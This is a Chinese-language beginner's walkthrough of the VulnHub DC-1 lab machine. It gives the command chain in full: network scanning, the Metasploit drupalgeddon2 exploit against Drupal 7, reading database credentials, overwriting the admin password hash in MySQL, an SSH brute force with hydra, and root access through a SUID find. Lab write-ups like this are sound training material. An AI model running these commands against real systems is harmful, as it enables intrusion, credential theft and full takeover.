介绍

VulnHub靶场练习,练习渗透技巧,作为初学者,主要学习攻击方法。

在VMware中搭建环境,网络选择NAT或者桥接,确保攻击机和靶机在同一网络下即可,我这里选择的NAT。

靶机:192.168.254.129(DC-1

攻击机:192.168.254.128(Kali)

物理机:192.168.254.1(Windows10)

信息搜集

网络扫描

渗透测试的第一步,网络探测。

作用:扫描靶机的IP及端口号信息,可以知道目标开启了哪些端口和服务。

这里总结了三种方法:

  1. arp-scan

用于探测同一区域中存活主机,一款kali自带的一款轻量ARP扫描工具,该工具会自动解析MAC地址,得到对应硬件厂商。

$ sudo arp-scan -l

常用指令:

  • -f 从指定文件中读取主机名或地址:arp-scan -f IP.txt
  • -l 从网络接口配置生成地址
  • -i 各扫描之间的时间差 :arp-scan -l -i 1000
  • -r 每个主机扫描次数 :arp-scan -r 5
  • -V 显示程序版本并退出
  • -t 设置主机超时时间 arp-scan -t 1000 10.10.10.0/24
  • -I 使用网络接口 : arp-scan -I eth0
  • -g 不显示重复的数据
  • -D 显示数据包往返时间
  1. netdiscover

用于探测存活主机

$ sudo netdiscover -i eth0
  1. NMap

也就是Network Mapper,其基本功能有三个:

(1)扫描主机端口,嗅探所提供的网络服务。

(2)探测一组主机是否在线。

(3)推断主机所用的操作系统,到达主机经过的路由,系统已开放端口的软件版本。

$ nmap -sn 192.168.254.1/24

-sn 仅扫描主机,不扫描端口
$ nmap -sV -p- 192.168.0.119

-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口

目标靶机开放了80端口,在浏览器打开该站点

查看网页相关信息

使用插件wappalyzer查看网站的相关信息。

可以看到该网站使用CMS为Drupal,版本号为7,其实在网页界面和底部都能发现是Drupal。

漏洞扫描及利用

漏洞扫描

在 MSF 中搜索 Drupal

可以看到共有8个漏洞

漏洞利用

在8个漏洞中,优先选择Rank为Excellent,且更新时间最新的。

这里就选择第二个(drupal_drupalgeddon2),查看他需要哪些参数,把参数补充完整。

$ use 1
$ show options
$ set RHOST 192.168.254.129

成功利用并反弹shell!

$ exploit

#run也是可以的

flag

flag1

在当前目录下发现flag1.txt

$ cat flag1.txt

Every good CMS needs a config file - and so do you.

翻译过来就是:每个好的CMS都需要一个配置文件 - 你也是。

提示我们下一步:找配置文件。

flag2

Drupal的默认配置文件为 /var/www/sites/default/settings.php,这里没有改路径,所以很轻松就拿到了。

$ cat sites/default/settings.php

成功拿到flag2和SQL数据库账户

Brute force and dictionary attacks aren’t the only ways to gain access (and you WILL need access).

What can you do with these credentials?

翻译过来就是:蛮力和字典攻击不行,唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?

这里提示我们提权,先看看数据库里有什么吧。

flag3

有了账号密码可以登录数据库,前提是要有一个交互式shell

这里利用python反弹一个交互式shell,然后登录数据库。

$ python -c 'import pty; pty.spawn("/bin/bash")'

$ mysql -udbuser -pR0ck3t

通过查询发现admin用户的账号和密码!

显然是通过加密后的,可以想办法更新密码。参考忘记Drupal的管理员密码的解决办法

通过使用脚本加密明文后覆盖管理员密码。

$ php scripts/password-hash.sh 123456
update drupaldb.users set pass = "$S$DzvV5UtPzee8dAs0n/dgWpbNvwm98YP8YX8WBM3zbpM04PIBN77G" where name = "admin";

成功以管理员身份登录!

content页面拿到flag3

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

翻译:特殊的PERMS将帮助找到passwd - 但你需要执行该命令来弄清楚如何获得阴影中的东西。

提示下一步:passwdshadow,还有permsfind-exec这些都是提权用的。

flag4

查看passwd文件,发现flag4用户

进入该用户目录下,发现flag4.txt,尝试读取发现无权限。

hydra爆破flag4用户密码。

靶机已开启22端口的ssh服务,可以尝试暴力破解密码

$ sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.254.129 ssh
或者
$ sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.254.129

-l  指定破解的用户
-P  指定密码字典
ssh://ip 指定使用协议和ip地址

登录靶机

也可以kali远程连接

$ ssh flag4@192.168.254.129

成功拿到flag4

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

根据flag3和flag4可知需要root权限。

flag5

利用suid提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

#查找具有root权限的SUID的文件
$ find / -perm -u=s -type f 2>/dev/null

-perm 是代表按指定权限搜索

-u=s 其中u代表当前用户的权限,s 代表 suid 权限,- 号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限

-tpye 代表搜索指定的类型,f代表文件

2>/dev/null 代表将不显示错误信息

可以看到这些命令都可以以root权限运行,这里用find。

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

$ touch nayst
#查找当前目录下名为nayst的文件并执行shell
$ find ./ -name nayst -exec "/bin/sh" \;

#-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以在分号前面加反斜杠。

成功拿到root权限!

成功拿到最后的flag!

Well done!!!!

Hopefully you’ve enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

总结

学到的方法

  1. arp-scannetdiscover扫描存活主机。
  2. MSF常用指令
  3. hydra爆破ssh密码。
  4. suid提权

参考

VulnHub-DC-1靶场练习

Vulnhub靶机渗透测试——DC-1